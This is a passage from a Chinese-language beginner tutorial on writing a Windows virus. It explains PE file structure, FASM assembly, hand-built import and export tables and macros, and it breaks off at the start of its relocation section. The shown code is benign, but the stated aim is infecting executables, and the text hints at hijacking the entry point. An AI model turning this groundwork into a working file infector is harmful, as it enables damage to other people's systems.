聲明
一篇講述病毒原理的理論性文章,任何人如果通過本文中講述的技術或利用本文中的代碼寫出惡性病毒,造成的任何影響均與作者無關。
前言
病毒是什麼?病毒就是一個具有一定生物病毒特性,可以進行傳播、感染的程序。病毒同樣是一個程序,只不過它經常做着一些正常程序不常做的事情而已,僅此而已。在這篇文章中我們將揭開病毒的神祕面紗,動手寫一個病毒(當然這個病毒是不具有破壞力的,僅僅是一個良性病毒)。
如果你有一定的病毒編寫基礎,那麼就此打住,這是一篇爲對病毒編程完全沒有概念的讀者編寫的,是一篇超級入門的文章 :P
這是一篇完整、詳細的入門文章,但是如果讀者對編程還沒有什麼認識我想也不可能順利地讀下去。本文要求讀者:
1) 有基本的C/C++語言知識。因爲文章中的很多結構的定義我使用的是C/C++的語法。
2) 有一定的彙編基礎。在這篇文章中我們將使用FASM編譯器,這個編譯器對很多讀者來說
可能很陌生,不過沒關係,讓我們一起來熟悉它 :P
3) 有文件格式的概念,知道一個可執行文件可以有ELF、MZ、LE、PE之分。
1. PE文件結構
-------------
DOS下,可執行文件分爲兩種,一種是從CP/M繼承來的COM小程序,另一種是EXE可執行文件,
我們稱之爲MZ文件。而Win32下,一種新的可執行文件可是取代了MZ文件,就是我們這一節
的主角 -- PE文件。
PE(Portable Executable File Format)稱爲可移植執行文件格式,我們可以用如下的表
來描述一個PE文件:
+-----------------------------+ --------------------------------------------
| DOS MZ文件頭 | ^
+-----------------------------+ DOS部分
| DOS塊 | v
+-----------------------------+ --------------------------------------------
| PE/0/0 | ^
+-----------------------------+ |
| IMAGE_FILE_HEADER結構 | PE文件頭
+-----------------------------+ |
| IMAGE_OPTIONAL_HEADER32結構 | v
+-----------------------------+ --------------------------------------------
| |-----+ ^
| |-----+-----+ |
| n*IMAGE_SECTION_HEADER結構 |-----+-----+-----+ 節表
| |-----+-----+-----+-----+ |
| |-----+-----+-----+-----+-----+ v
+-----------------------------+ | | | | | --------------
| .text節 |<----+ | | | | ^
+-----------------------------+ | | | | |
| .data節 |<----------+ | | | |
+-----------------------------+ | | | |
| .idata節 |<----------------+ | | 節數據
+-----------------------------+ | | |
| .reloc節 |<----------------------+ | |
+-----------------------------+ | |
| ... |<----------------------------+ v
+-----------------------------+ --------------------------------------------
我們要對PE格式進行一次超高速洗禮。
PE文件的頭部是一個DOS MZ文件頭,這是爲了可執行文件的向下兼容性設計的。PE文件的DOS
部分分爲兩部分,一個是MZ文件頭,另一部分是DOS塊,這裏面存放的是可執行代碼部分。還
記得在DOS下運行一個PE文件時的情景麼:“This program cannot be run in DOS mode.”。
沒錯,這就是DOS塊(DOS Stub)完成的工作。下面我們先來看看MZ文件頭的定義:
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
其中e_magic就是鼎鼎大名的‘MZ’,這個我們並不陌生。後面的字段指明瞭入口地址、堆
棧位置和重定位表位置等。我們還要關心的一個字段是e_lfanew字段,它指定了真正的PE文
件頭,這個地址總是經過8字節對齊的。
下面讓我們來真正地走進PE文件,下面是PE文件頭的定義:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
PE文件頭的第一個雙字是00004550h,即字符P、E和兩個0。後面還有兩個結構:
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
我們先來看看IMAGE_FILE_HEADER。Machine字段指定了程序的運行平臺。
NumberOfSections指定了文件中節(有關節的概念後面會有介紹)的數量。
TimeDataStamp是編譯次文件的時間,它是從1969年12月31日下午4:00開始到創建爲止的總秒數。
PointerToSymbolTable指向調試符號表。NumberOfSymbols是調試符號的個數。這兩個字段我們不需要關心。
SizeOfOptionalHeader指定了緊跟在後面的IMAGE_OPTIONAL_HEADER結構的大小,它總等於0e0h。
Characteristics是一個很重要的字段,它描述了文件的屬性,它決定了系統對這個文件的裝載方式。下面是這個字段每個位的含義(略去了一些我們不需要關心的字段):
#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // 文件中不存在重定位信息
#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // 文件是可執行的
#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // 程序可以觸及大於2G的地址
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // 小尾方式
#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32位機器
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // 不可在可移動介質上運行
#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // 不可在網絡上運行
#define IMAGE_FILE_SYSTEM 0x1000 // 系統文件
#define IMAGE_FILE_DLL 0x2000 // 文件是一個DLL
#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // 只能在單處理器計算機上運行
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // 大尾方式
下面我們再來看一下IMAGE_OPTIONAL_HEADER32結構,從字面上看好象這個結構是可選的,其實則不然,它是每個PE文件不可缺少的部分。我們分別對每個字段進行講解,同樣我們仍省略了一些我們不太關心的字段。
Magic字段可能是兩個值:107h表示是一個ROM映像,10bh表示是一個EXE映像。
SizeOfCode表示代碼節的總大小。
SizeOfInitializedData指定了已初始化數據節的大小,SizeOfUninitializedData包含未初始化數據節的大小。
AddressOfEntryPoint是程序入口的RVA(關於RVA的概念將在後面介紹,這是PE文件中的一個非常重要又非常容易混淆的概念)。如果我們要改變程序的執行入口則可以改變這個值 :P
BaseOfCode和BaseOfData分別是代碼節和數據節的起始RVA。
ImageBase 是程序建議的裝載地址。如果可能的話系統將文件加載到ImageBase指定的地址,如果這個地址被佔用文件才被加載到其他地址上。由於每個程序的虛擬地 址空間是獨立的,所以對於優先裝入的EXE文件而言,其地址空間不可能被佔用;而對於DLL,其裝入的地址空間要依具體程序的地址空間的使用狀態而定,所 以可能每次裝載的地址是不同的。這還引出了另一個問題就是,一般的EXE文件不需要定位表,而DLL文件必須要有一個重定位表。
SectionAligment和FileAligment分別是內存中和文件中的對齊粒度,正是由於程序在內存中和文件中的對齊粒度不同才產生了RVA概念,後面提到。
SizeOfImage是內存中整個PE的大小。
SizeOfHeaders是所有頭加節表的大小。
CheckSum是文件的校驗和,對於一般的PE文件系統並不檢查這個值。而對於系統文件,如驅動等,系統會嚴格檢查這個值,如果這個值不正確系統則不予以加載。
Subsystem指定文件的子系統。關於各個取值的定義如下:
#define IMAGE_SUBSYSTEM_UNKNOWN 0 // 未知子系統
#define IMAGE_SUBSYSTEM_NATIVE 1 // 不需要子系統
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Windows圖形界面
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Windows控制檯界面
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // OS/2控制檯界面
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // Posiz控制檯界面
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8 // Win9x驅動程序,不需要子系統
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // Windows CE子系統
NumberOfRvaAndSizes指定了數據目錄結構的數量,這個數量一般總爲16。
DataDirectory爲數據目錄。
下面是數據目錄的定義:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress爲數據的起始RVA,Size爲數據塊的長度。下面是數據目錄列表的含義:
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // 導出表
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // 引入表
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // 資源
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // 異常
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // 安全
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // 重定位表
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // 調試信息
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // 版權信息
......
看到這裏大家是不是很混亂呢?沒辦法,只能硬着頭皮“啃”下去,把上面的內容再重新讀一遍... 下面我們繼續,做好準備了麼?我們開始啦!!
緊 接着IMAGE_NT_HEADERS結構的是節表。什麼是節表呢?彆着急,我們先要清楚一下什麼是節。PE文件是按照節的方式組織的,比如:數據節、代 碼節、重定位節等。每個節有着自己的屬性,如:只讀、只寫、可讀可寫、可執行、可丟棄等。其實在執行一個PE文件的時候,Windows並不是把整個PE 文件一下讀入內存,而是採用內存映射的機制。當程序執行到某個內存頁中的指令或者訪問到某個內存頁中的數據時,如果這個頁在內存中那麼就執行或訪問,如果 這個頁不在內存中而是在磁盤中,這時會引發一個缺頁故障,系統會自動把這個頁從交換文件中提交的物理內存並重新執行故障指令。由於這時這個內存頁已經提交 到了物理內存則程序可以繼續執行。這樣的機制使得文件裝入的速度和文件的大小不成比例關係。
節表就是描述每個節屬性的表,文件中有多少個節就有多少個節表。下面我們來看一下節表的結構:
#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Name爲一個8個字節的數組。定義了節的名字,如:.text等。習慣上我們把代碼節稱爲.text,把數據節稱爲.data,把重定位節稱爲.reloc,把資源節稱爲.rsrc等。但注意:這些名字不是一定的,可一任意命名,千萬不要通過節的名字來定位一個節。
Misc是一個聯合。通常是VirtualSize有效。它指定了節的大小。這是節在沒有進行對齊前的
大小。
VirtualAddress指定了這個節在被映射到內存中後的偏移地址,是一個RVA地址。這個地址是經過對齊的,以SectionAlignment爲對齊粒度。
PointerToRawData指定了節在磁盤文件中的偏移,注意不要與RVA混淆。
SizeOfRawData指定了節在文件中對齊後的大小,即VirtualSize的值根據FileAlignment粒度對齊後的大小。
Characteristics同樣又是一個很重要的字段。它指定了節的屬性。下面是部分屬性的定義:
#define IMAGE_SCN_CNT_CODE 0x00000020 // 節中包含代碼
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // 節中包含已初始化數據
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // 節中包含未初始化數據
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // 是一個可丟棄的節,即
// 節中的數據在進程開始
// 後將被丟棄
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // 節中數據不經過緩存
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // 節中數據不被交換出內存
#define IMAGE_SCN_MEM_SHARED 0x10000000 // 節中數據可共享
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // 可執行節
#define IMAGE_SCN_MEM_READ 0x40000000 // 可讀節
#define IMAGE_SCN_MEM_WRITE 0x80000000 // 可寫節
好 了,是時候跟大家介紹RVA的概念了。這是一個大多數初學者經常搞不清楚的容易混淆的概念。RVA是Relative Virtual Address的縮寫,即相對虛擬地址。那麼RVA到底代表什麼呢?簡單的說就是,RVA是內存中相對裝載基址的偏移。假設一個進程的裝載地址爲 00400000h,一個數據的地址爲00401234h,那麼這個數據的RVA爲00401234h-00400000h=1234h。
:P因爲Win32下的可執行文件、DLL和驅動等都是PE格式的,我們的病毒要感染它們,所以必須要把整個PE格式爛熟於心。
其實關於PE文件我們還有導入表、導出表、重定位表、資源等很多內容沒有講。
2. 關於FASM
-----------
下面我們用FASM來編寫我們的第一個程序。我們可以編寫如下代碼:
format PE GUI 4.0
entry __start
section '.text' code readable executable
__start:
ret
我們把這個文件存爲test.asm並編譯它:
fasm test.asm test.exe
沒有任何煩人的參數,很方便,不是麼? :P
我們先來看一下這個程序的結構。第一句是format指示字,它指定了程序的類型,PE表示我們編寫的是一個PE文件,後面的GUI指示編譯器我們 將使用 Windows圖形界面。如果要編寫一個控制檯應用程序則可以指定爲CONSOLE。如果要寫一個內核驅動,可以指定爲NATIVE,表示不需要子系統支 持。最後的4.0指定了子系統的版本號(還記得前面的MajorSubsystemVersion和MinorSubsystemVersion麼?)。
下面一行指定了程序的入口爲__start。
section指示字表示我們要開始一個新節。我們的程序只有一個節,即代碼節,我們將其命名爲.text,並指定節屬性爲只讀(readable)和可執行(executable)。
之後就是我們的代碼了,我們僅僅用一條ret指令返回系統,這時堆棧裏的返回地址爲Exit-Thread,所以程序直接退出。
下面運行它,程序只是簡單地退出了,我們成功地用FASM編寫了一個程序!我們已經邁出了第一步,下面要讓我們的程序可以做點什麼。我們想要調用一個API,我們要怎麼做呢?讓我們再來充充電吧 :D
2.1 導入表
----------
我們編寫如下代碼並用TASM編譯:
;
; tasm32 /ml /m5 test.asm
; tlink32 -Tpe -aa test.obj ,,, import32.lib
;
ideal
p586
model use32 flat
extrn MessageBoxA:near
dataseg
str_hello db 'Hello',0
codeseg
__start:
push 0
push offset str_hello
push offset str_hello
push 0
call MessageBoxA
ret
end __start
下面我們用w32dasm反彙編,得到:
:00401000 6A00 push 00000000
:00401002 6800204000 push 00402000
:00401007 6800204000 push 00402000
:0040100C 6A00 push 00000000
:0040100E E801000000 call 00401014
:00401013 C3 ret
:00401014 FF2530304000 jmp dword ptr [00403030]
可以看到代碼中的call MessageBoxA被翻譯成了call 00401014,在這個地址處是一個跳轉指令jmp dword ptr [00403030],我們可以確定在地址00403030處存放的是MessageBoxA的真正地址。
其實這個地址是位於PE文件的導入表中的。下面我們繼續我們的PE文件的學習。我們先來看一下導入表的結構。導入表是由一系列的 IMAGE_IMPORT_DESCRIPTOR結構組成的。結構的個數由文件引用的DLL個數決定,文件引用了多少個DLL就有多少個 IMAGE_IMPORT_DESCRIPTOR結構,最後還有一個全爲零的IMAGE_IMPORT_DESCRIPTOR作爲結束。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
};
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
Name字段是一個RVA,指定了引入的DLL的名字。
OriginalFirstThunk和FirstThunk在一個PE沒有加載到內存中的時候是一樣的,都是指向一個 IMAGE_THUNK_DATA 結構數組。最後以一個內容爲0的結構結束。其實這個結構就是一個雙字。這個結構很有意思,因爲在不同的時候這個結構代表着不同的含義。當這個雙字的最高位 爲1時,表示函數是以序號的方式導入的;當最高位爲0時,表示函數是以名稱方式導入的,這是這個雙字是一個RVA,指向一個 IMAGE_IMPORT_BY_NAME結構,這個結構用來指定導入函數名稱。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
Hint字段表示一個序號,不過因爲是按名稱導入,所以這個序號一般爲零。
Name字段是函數的名稱。
下面我們用一張圖來說明這個複雜的過程。假設一個PE引用了kernel32.dll中的LoadLibraryA和GetProcAddress,還有一個按序號導入的函數80010002h。
IMAGE_IMPORT_DESCRIPTOR IMAGE_IMPORT_BY_NAME
+--------------------+ +--> +------------------+ +-----------------------+
| OriginalFirstThunk | --+ | IMAGE_THUNK_DATA | --> | 023B | ExitProcess | <--+
+--------------------+ +------------------+ +-----------------------+ |
| TimeDataStamp | | IMAGE_THUNK_DATA | --> | 0191 | GetProcAddress | <--+--+
+--------------------+ +------------------+ +-----------------------+ | |
| ForwarderChain | | 80010002h | | |
+--------------------+ +------------------+ +---> +------------------+ | |
| Name | --+ | 0 | | | IMAGE_THUNK_DATA | ---+ |
+--------------------+ | +------------------+ | +------------------+ |
| FirstThunk |-+ | | | IMAGE_THUNK_DATA | ------+
+--------------------+ | | +------------------+ | +------------------+
| +--> | kernel32.dll | | | 80010002h |
| +------------------+ | +------------------+
| | | 0 |
+------------------------------+ +------------------+
還記得前面我們說過在一個PE沒有被加載到內存中的時候IMAGE_IMPORT_DESCRIPTOR中的OriginalFirstThunk 和 FirstThunk是相同的,那麼爲什麼Windows要佔用兩個字段呢?其實是這樣的,在PE文件被PE加載器加載到內存中的時候這個加載器會自動把 FirstThunk的值替換爲API函數的真正入口,也就是那個前面jmp的真正地址,而OriginalFirstThunk只不過是用來反向查找函 數名而已。
好了,又講了這麼多是要做什麼呢?你馬上就會看到。下面我們就來構造我們的導入表。
我們用以下代碼來開始我們的引入節:
section '.idata' import data readable
section指示字表示我們要開始一個新節。.idata是這個新節的名稱。import data表示這是一個引入節。readable表示這個節的節屬性是隻讀的。
假設我們的程序只需要引入user32.dll中的MessageBoxA函數,那麼我們的引入節只有一個描述這個dll的IMAGE_IMPORT_DESCRIPTOR和一個全0的結構。考慮如下代碼:
dd 0 ; 我們並不需要OriginalFirstThunk
dd 0 ; 我們也不需要管這個時間戳
dd 0 ; 我們也不關心這個鏈
dd RVA usr_dll ; 指向我們的DLL名稱的RVA
dd RVA usr_thunk ; 指向我們的IMAGE_IMPORT_BY_NAME數組的RVA
; 注意這個數組也是以0結尾的
dd 0,0,0,0,0 ; 結束標誌
上面用到了一個RVA僞指令,它指定的地址在編譯時被自動寫爲對應的RVA值。下面定義我們要引入的動態鏈接庫的名字,這是一個以0結尾的字符串:
usr_dll db 'user32.dll',0
還有我們的IMAGE_THUNK_DATA:
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0 ; 結束標誌
上面的__imp_MessageBox在編譯時由於前面有RVA指示,所以表示是IMAGE_IMPORT_BY_NAME的RVA。下面我們定義這個結構:
__imp_MessageBox dw 0 ; 我們不按序號導入,所以可以
; 簡單地置0
db 'MessageBoxA',0 ; 導入的函數名
好了,我們完成了導入表的建立。下面我們來看一個完整的程序,看看一個完整的FASM程序是多麼的漂亮 :P
format PE GUI 4.0
entry __start
;
; data section...
;
section '.data' data readable
pszText db 'Hello, FASM world!',0
pszCaption db 'Flat Assembler',0
;
; code section...
;
section '.text' code readable executable
__start:
push 0
push pszCaption
push pszText
push 0
call [MessageBox]
push 0
call [ExitProcess]
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,RVA krnl_dll,RVA krnl_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
krnl_dll db 'kernel32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
krnl_thunk:
ExitProcess dd RVA __imp_ExitProcess
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_ExitProcess dw 0
db 'ExitProcess',0
看到這裏我相信大家都對FASM這個編譯器有了一個初步的認識,也一定有很多讀者會說:“這麼麻煩啊,幹嗎要用這個編譯器呢?”。是的,也許上面的 代碼看 起來很複雜,編寫起來也很麻煩,但FASM的一個好處在於我們可以更主動地控制我們生成的PE文件結構,同時能對PE文件有更理性的認識。不過每個人的口 味不同,嘿嘿,也許上面的理由還不夠說服各位讀者,沒關係,選擇一款適合你的編譯器吧,它們都同樣出色 :P
2.2 導出表
----------
通過導入表的學習,我想各位讀者已經對PE文件的學習過程有了自己認識和方法,所以下面關於導出表的一節我將加快一些速度。“朋友們注意啦!!! @#$%$%&#^” :D
在導出表的起始位置是一個IMAGE_EXPORT_DIRECTORY結構,但與引入表不同的是在導出表中只有一個這個結構。下面我們來看一下這個結構的定義:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Characteristics、MajorVersion和MinorVersion不使用,一般爲0。
TimeDataStamp是時間戳。
Name字段是一個RVA值,它指向了這個模塊的原始名稱。這個名稱與編譯後的文件名無關。
Base字段指定了導出函數序號的起始序號。假如Base的值爲n,那麼導出函數入口地址表中的第一個函數的序號就是n,第二個就是n+1...
NumberOfFunctions指定了導出函數的總數。
NumberOfNames指定了按名稱導出的函數的總數。按序號導出的函數總數就是這個值與到處總數NumberOfFunctions的差。
AddressOfFunctions字段是一個RVA值,指向一個RVA數組,數組中的每個RVA均指向一個導出函數的入口地址。數組的項數等於NumberOfFuntions。
AddressOfNames字段是一個RVA值,同樣指向一個RVA數組,數組中的每個雙字是一個指向函數名字符串的RVA。數組的項數等於NumberOfNames。
AddressOfNameOrdinals字段是一個RVA值,它指向一個字數組,注意這裏不再是雙字了!!
這個數組起着很重要的作用,它的項數等於NumberOfNames,並與AddressOfNames指向的數組一一對應。其每個項目的值代表了 這個函 數在入口地址表中索引。現在我們來看一個例子,假如一個導出函數Foo在導出入口地址表中處於第m個位置,我們查找Ordinal數組的第m項,假設這個 值爲x,我們把這個值與導出序號的起始值Base的值n相加得到的值就是函數在入口地址表中索引。
下圖表示了導出表的結構和上述過程:
+-----------------------+ +-----------------+
| Characteristics | +----> | 'dlltest.dll',0 |
+-----------------------+ | +-----------------+
| TimeDataStamp | |
+-----------------------+ | +-> +-----------------+
| MajorVersion | | | 0 | 函數入口地址RVA | ==> 函數Foo,序號n+0 <--+
+-----------------------+ | | +-----------------+ |
| MinorVersion | | | | ... | |
+-----------------------+ | | +-----------------+ |
| Name | -+ | x | 函數入口地址RVA | ==> 按序號導出,序號爲n+x |
+-----------------------+ | +-----------------+ |
| Base(假設值爲n) | | | ... | |
+-----------------------+ | +-----------------+ |
| NumberOfFunctions | | |
+-----------------------+ | +-> +-----+ +----------+ +-----+ <-+ |
| NumberOfNames | | | | RVA | --> | '_foo',0 | <==> | 0 | --+---+
+-----------------------+ | | +-----+ +----------+ +-----+ |
| AddressOfFunctions | ----+ | | ... | | ... | |
+-----------------------+ | +-----+ +-----+ |
| AddressOfNames | -------+ |
+-----------------------+ |
| AddressOfNameOrdinals | ---------------------------------------------------+
+-----------------------+
好了,下面我們來看構鍵我們的導出表。假設我們按名稱導出一個函數_foo。我們以如下代碼開始:
section '.edata' export data readable
接着是IMAGE_EXPORT_DIRECTORY結構:
dd 0 ; Characteristics
dd 0 ; TimeDataStamp
dw 0 ; MajorVersion
dw 0 ; MinorVersion
dd RVA dll_name ; RVA,指向DLL名稱
dd 0 ; 起始序號爲0
dd 1 ; 只導出一個函數
dd 1 ; 這個函數是按名稱方式導出的
dd RVA addr_tab ; RVA,指向導出函數入口地址表
dd RVA name_tab ; RVA,指向函數名稱地址表
dd RVA ordinal_tab ; RVA,指向函數索引表
下面我們定義DLL名稱:
dll_name db 'foo.dll',0 ; DLL名稱,編譯的文件名可以與它不同
接下來是導出函數入口地址表和函數名稱地址表,我們要導出一個叫_foo的函數:
addr_tab dd RVA _foo ; 函數入口地址
name_tab dd RVA func_name
func_name db '_foo',0 ; 函數名稱
最後是函數索引表:
ordinal_tab dw 0 ; 只有一個按名稱導出函數,序號爲0
下面我們看一個完整的程序:
format PE GUI 4.0 DLL at 76000000h
entry _dll_entry
;
; data section...
;
section '.data' data readable
pszText db 'Hello, FASM world!',0
pszCaption db 'Flat Assembler',0
;
; code section...
;
section '.text' code readable executable
_foo:
push 0
push pszCaption
push pszText
push 0
call [MessageBox]
ret
_dll_entry:
xor eax,eax
inc eax
ret 0ch
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,RVA krnl_dll,RVA krnl_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
krnl_dll db 'kernel32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
krnl_thunk:
ExitProcess dd RVA __imp_ExitProcess
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_ExitProcess dw 0
db 'ExitProcess',0
;
; export section...
;
section '.edata' export data readable
; image export directory
dd 0,0,0,RVA dll_name,0,1,1
dd RVA addr_tab
dd RVA name_tab
dd RVA ordinal_tab
; dll name
dll_name db 'foo.dll',0
; function address table
addr_tab dd RVA _foo
; function name table
name_tab dd RVA ex_foo
; export name table
ex_foo db '_foo',0
; ordinal table
ordinal_tab dw 0
;
; relocation section...
;
section '.reloc' fixups data discardable
程序的一開始用format指定了PE和GUI,在子系統版本號的後面我們使用了DLL指示字,表示
這是一個DLL文件。最後還有一個at關鍵字,指示了文件的image base。
程序的最後一個節是重定位節,對於重定位表我不做過多解釋,有興趣的讀者可以參考其他
書籍或文章。我們可以把剛纔的程序編譯成一個DLL:
fasm foo.asm foo.dll
下面我們編寫一個測試程序檢驗程序的正確性:
#include <windows.h>
int __stdcall WinMain (HINSTANCE,HINSTANCE,LPTSTR,int)
{
HMODULE hFoo=LoadLibrary ("foo.dll");
FARPROC _foo=GetProcAddress (hFoo,"_foo");
_foo ();
FreeLibrary (hFoo);
return 0;
}
我們把編譯後的exe和剛纔的dll放在同一個目錄下並運行,看看程序運行是否正確 :P
2.3 強大的宏
-------------
關於FASM,還有一個強大的功能就是宏。大家對宏一定都不陌生,下面我們來看看在FASM中如何定義宏。假設我們要編寫一個複製字符串的宏,其中源、目的串由ESI和EDI指定,我們可以:
macro @copysz
{
local next_char
next_char:
lodsb
stosb
or al,al
jnz next_char
}
下面我們再來看一個帶參數的宏定義:
macro @stosd _dword
{
mov eax,_dword
stosd
}
如果我們要多次存入幾個不同的雙字我們可以簡單地在定義宏時把參數用中括號括起來,比如:
macro @stosd [_dword]
{
mov eax,_dword
stosd
}
這樣當我們調用@stosd 1,2,3的時候,我們的代碼被編譯成:
mov eax,1
stosd
mov eax,2
stosd
mov eax,3
stosd
對於這種多參數的宏,FASM提供了三個僞指令common、forward和reverse。他們把宏代碼分成塊並分別處理。下面我分別來介紹:
forward限定的塊表示指令塊對參數進行順序處理,比如上面的宏,如果把上面的代碼定義在forward塊中,我們可以得到相同的結果。對於forward塊我們可以這樣定義
macro @stosd [_dword]
{
forward
mov eax,_dword
stosd
}
reverse和forward正好相反,表示指令塊對參數進行反向處理。對於上面的指令塊如果用reverse限定,那麼我們的參數將被按照相反的順序存入內存。
macro @stosd [_dword]
{
reverse
mov eax,_dword
stosd
}
這時當我們調用@stosd 1,2,3的時候,我們的代碼被編譯成:
mov eax,3
stosd
mov eax,2
stosd
mov eax,1
stosd
common限定的塊將僅被處理處理一次。我們現在編寫一個調用API的宏@invoke:
macro @invoke _api,[_argv]
{
reverse
push _argv
common
call [_api]
}
現在我們可以使用這個宏來調用API了,比如:
@invoke MessageBox,0,pszText,pszCaption,0
對於宏的使用我們就介紹這些,更多的代碼可以參看我的useful.inc(其中有很多29A的宏,tnx 29a :P)
3. 重定位的奧祕
----------------
重定位源於代碼中的地址操作,如果沒有地址操作那麼就不存在所謂的重定位了。讓我們先來分析一段代碼。考慮如下代碼:
format PE GUI 4.0
mov esi,pszText
ret
pszText db '#$%*(*)@#$%',0
打開softice,看看我們代碼被編譯爲:
001B:00401000 BE06104000 MOV ESI,00401006
001B:00401005 C3 RET
001B:00401006 ...
